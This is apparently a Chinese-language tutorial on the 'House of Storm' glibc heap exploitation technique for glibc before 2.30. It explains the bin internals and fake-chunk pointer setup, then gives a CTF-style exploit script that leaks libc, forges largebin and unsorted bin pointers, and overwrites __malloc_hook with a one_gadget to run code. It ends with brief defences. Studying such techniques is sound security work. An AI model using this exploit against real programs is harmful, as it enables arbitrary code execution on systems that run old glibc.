House Of Storm
字数 1387 2025-08-20 18:16:58
House Of Storm 攻击技术详解
背景知识
House Of Storm 是一种结合了 unsortedbin attack 和 Largebin attack 的攻击技术,其基本原理和 Largebin attack 类似,可以达到任意地址写的效果。这种攻击危害性很大,但利用条件也非常苛刻。
利用条件
- glibc版本限制:glibc版本必须小于2.30,因为2.30之后加入了安全检查
- 堆块布置要求:
- 攻击者需要在largebin和unsorted_bin中分别布置一个chunk
- 这两个chunk在归位后必须处于同一个largebin的index中
- unsortedbin中的chunk要比largebin中的大
- 指针控制要求:
- 需要控制unsorted_bin中的bk指针
- 需要控制largebin中的bk指针和bk_nextsize指针
技术原理
House Of Storm 利用了glibc在将unsorted bin中的chunk放入large bin时的处理逻辑漏洞。主要涉及以下关键点:
-
unsorted bin管理:
- 当一个较大的chunk被分割后,剩余部分大于MINSIZE时会放入unsorted bin
- 释放不属于fast bin且不与top chunk紧邻的chunk会首先放入unsorted bin
- Unsorted bin是空闲chunk回归所属bin之前的缓冲区,处于bin数组下标1处
-
large bin管理:
- Largebin用于收容超过0x400大小以上的chunk(64位)
- 是一个双向链表,共可容纳63个chunk
- 按照大小范围分为6组,每组有不同的差值范围
利用步骤
-
初始设置:
unsorted_bin->fd = 0 unsorted_bin->bk = fake_chunk large_bin->fd = 0 large_bin->bk = fake_chunk+8 large_bin->fd_nextsize = 0 large_bin->bk_nextsize = fake_chunk - 0x18 -5 -
绕过检查的关键点:
- unsorted_bin->bk = fake_chunk (把fake_chunk链到unsorted_bin中)
- fake_chunk+0x10 = unsorted_bin (伪造fake_chunk的fd)
- fake_chunk+0x3 = unsorted_chunk (伪造fake_chunk的size)
- fake_chunk+0x18 = unsorted_chunk (伪造fake_chunk的bk)
实际利用示例
以下是一个简单的利用流程:
-
堆块布置:
add(0x20) add(0x400) #1 add(0x20) add(0x410) #3 add(0x20) add(0x20) #5 add(0x20) -
释放堆块:
delete(1) delete(3) delete(5) -
泄露libc地址:
show(1) libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x3c4b78 malloc_hook = libc_base + libc.sym['__malloc_hook'] fake_chunk = malloc_hook - 0x50 -
重新分配和编辑:
add(0x20) add(0x410) #3 delete(3) # 设置伪造指针 payload = p64(0) + p64(fake_chunk) edit(3, payload) # chunk3_bk-->fake_chunk payload = p64(0) + p64(fake_chunk + 0x8) + p64(0) + p64(fake_chunk - 0x18 - 5) edit(1, payload) # chunk1_bk-->fake_chunk+8, chunk1_bk_nextsize-->fake_chunk-0x18-5 -
触发漏洞:
add(0x48) #9 og = libc_base + ogs[1] payload = p64(og)*8 + p64(og) edit(9, payload) add(0x20) # 触发malloc_hook执行
关键点总结
- 版本限制:必须使用glibc < 2.30版本
- 堆块大小关系:unsorted bin中的chunk必须比large bin中的大
- 指针控制:需要精确控制多个指针的值
- fake_chunk构造:需要精心构造fake_chunk的各个字段以绕过检查
- size字段伪造:通过large_bin->bk_nextsize = fake_chunk - 0x18 -5的设置,使得fake_chunk的size为0x56,P位为0
防御措施
- 升级glibc到2.30及以上版本
- 加强堆指针的检查机制
- 实现更严格的size字段验证
House Of Storm是一种高级的堆利用技术,需要深入理解glibc的内存管理机制才能成功利用。在实际漏洞利用中,需要根据目标环境的具体情况调整利用策略。